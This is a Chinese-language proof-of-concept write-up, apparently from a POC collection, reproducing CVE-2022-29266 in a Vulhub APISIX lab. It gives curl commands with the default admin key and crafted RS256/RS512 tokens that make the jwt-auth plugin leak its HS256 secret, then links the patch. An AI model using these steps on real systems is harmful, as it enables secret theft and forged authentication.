Awesome-POC/网络设备漏洞/Apache APISIX jwt-auth 插件存在 JWT sceret 泄漏 CVE-2022-29266.md
2024-11-06 14:10:36 +08:00

178 lines
6.5 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache APISIX jwt-auth 插件存在 JWT sceret 泄漏 CVE-2022-29266
## 漏洞描述
在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。
参考链接:
- https://wiki.teamssix.com/CloudNative/APISIX/apisix-cve-2022-29266.html
- https://xz.aliyun.com/t/11283
## 漏洞影响
```
Apache Apisix < 2.13.1
```
## 环境搭建
Vulhub 启动一个 Apache APISIX 2.11.0 环境。docker-compose.yml 如下:
```
version: "2"
services:
apisix:
image: vulhub/apisix:2.11.0
volumes:
- ./config.yml:/usr/local/apisix/conf/config.yaml:ro
depends_on:
- etcd
ports:
- "9080:9080"
- "9091:9091"
- "9443:9443"
etcd:
image: bitnami/etcd:3.4.15
environment:
ETCD_ENABLE_V2: "true"
ALLOW_NONE_AUTHENTICATION: "yes"
ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
ports:
- "2379:2379/tcp"
```
```
docker-compose up -d
```
环境启动后,访问 `http://your-ip:9080` 即可查看到默认的 404 页面。
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702134437136.png)
## 前置知识
JWT 的全称是 Json Web Token是一种基于 JSON 的、用于在网络上声明某种主张的令牌token规范。JWT 通常由 Header、Payload、Signature 三部分组成,格式如下:
```
Header.Payload.Signature
```
JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名,起到防止数据篡改的作用,如果知道了 Signature 内容,那么就可以伪造 JWT 了。
JWT Signature 的 HS256 和 RS256 算法如下:
```
# HS256
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
# RS256   
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)
```
其中,生成 RS256 公钥和私钥:
```bash
# 生成私钥
openssl genrsa -out private.key 2048
```
```bash
# 生成公钥
openssl rsa -in private.key -pubout -out public.key
```
## 漏洞复现
在 [jwt.io](https://jwt.io/) 生成一个 RS256 算法的 JWT 值。Payload 改为以下内容:
```
{"key": "test-key"}
```
此处 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致,生成的 JWT 值如下:
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.stLb58YP5evXquu2ObWZG30MKHGAvAdQXrADdJK42BSVonFVkwK5cF4kora0UkzlnKjpUYCRfwF75Hdl4XOlrV7_MkVJfkZTpSlRmKIPCKN2JDqgsuK9TPrkjjGQzF91sA_7sx0QsL-hbmtjdfaizvhN0-2XGKzVEWiGuoOPK7pw22vEgXr-k4CddDORyaPVms5D1au92FAxmwH8sXRGydVSpBMfj70RQzcdO-qg6k1VODE8LP4Bcv8FJ153PRv1LuCMP1aeqPgXOBp8tXay4OAMGcKJSiMVwnD_sJ4lEGjVEhGQUuYhw7PNrakh6c_oza3ID7W9Bn6mWhagpVfkqA
```
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702134014361.png)
创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法secret 值为 `threekiii-secret-key`
```
curl http://your-ip:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "threekiii",
"plugins": {
"jwt-auth": {
"key": "test-key",
"secret": "threekiii-secret-key"
}
}
}'
```
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702134622145.png)
然后再创建路由对象,并开启 jwt-auth 插件:
```
curl http://your-ip:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
```
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702134642060.png)
当启用了 jwt-auth 插件后,会增加 `/apisix/plugin/jwt/sign` 这个接口,访问这个 api可以获取到认证 token
```
curl http://your-ip:9080/apisix/plugin/jwt/sign?key=test-key -i
```
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702134828077.png)
将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了:
```
curl http://your-ip:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.stLb58YP5evXquu2ObWZG30MKHGAvAdQXrADdJK42BSVonFVkwK5cF4kora0UkzlnKjpUYCRfwF75Hdl4XOlrV7_MkVJfkZTpSlRmKIPCKN2JDqgsuK9TPrkjjGQzF91sA_7sx0QsL-hbmtjdfaizvhN0-2XGKzVEWiGuoOPK7pw22vEgXr-k4CddDORyaPVms5D1au92FAxmwH8sXRGydVSpBMfj70RQzcdO-qg6k1VODE8LP4Bcv8FJ153PRv1LuCMP1aeqPgXOBp8tXay4OAMGcKJSiMVwnD_sJ4lEGjVEhGQUuYhw7PNrakh6c_oza3ID7W9Bn6mWhagpVfkqA -i
```
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702135025523.png)
当拿到这个 sceret 值后,就可以伪造 JWT Token 了。
同样,使用 RS512 算法也能触发这个漏洞。在 [jwt.io](https://jwt.io/) 上生成 RS512 的 JWT 值如下:
```
eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.OJb_ZfTWdb8PvVWBjsFssyIIBfGhqfoR16FzNFzA4hxqpAqcoIzF_yBja6RWOH6jWCrtuPViLwkmMEjU1HZ_UFaKKFAuHiYe9w7aOrV5eWnI9XmpYJUlXwV_2EveaRa9y0pjPu2miqeemPTZXGlK28aqt9idmWySIsqgEwjpzrqHnej9opoJcZ1kBOdm-ED3MMi8-dDE2CqaC1JqIJsVz3_9a1FoYJLwwugTD1msUIdQ9DTRskgcPBj2KPvPx6hHO-gjMVxTvpXIyjjzFfomWxvsOdhjxd342PJOWcWkEO7n0G4NV2weIhQbyLUiPRHEE7QPaxNxcA9-43jk9TR5_g
```
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702135316039.png)
将由 RS512 算法生成的 JWT 值也可以触发漏洞,获得 secret 值:
```
curl http://your-ip:9080/index.html?jwt=eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.OJb_ZfTWdb8PvVWBjsFssyIIBfGhqfoR16FzNFzA4hxqpAqcoIzF_yBja6RWOH6jWCrtuPViLwkmMEjU1HZ_UFaKKFAuHiYe9w7aOrV5eWnI9XmpYJUlXwV_2EveaRa9y0pjPu2miqeemPTZXGlK28aqt9idmWySIsqgEwjpzrqHnej9opoJcZ1kBOdm-ED3MMi8-dDE2CqaC1JqIJsVz3_9a1FoYJLwwugTD1msUIdQ9DTRskgcPBj2KPvPx6hHO-gjMVxTvpXIyjjzFfomWxvsOdhjxd342PJOWcWkEO7n0G4NV2weIhQbyLUiPRHEE7QPaxNxcA9-43jk9TR5_g -i
```
![](images/Apache%20APISIX%20jwt-auth%20插件存在%20JWT%20sceret%20泄漏%20CVE-2022-29266/image-20240702135257240.png)
## 漏洞修复
目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://lists.apache.org/thread/6qpfyxogbvn18g9xr8g218jjfjbfsbhr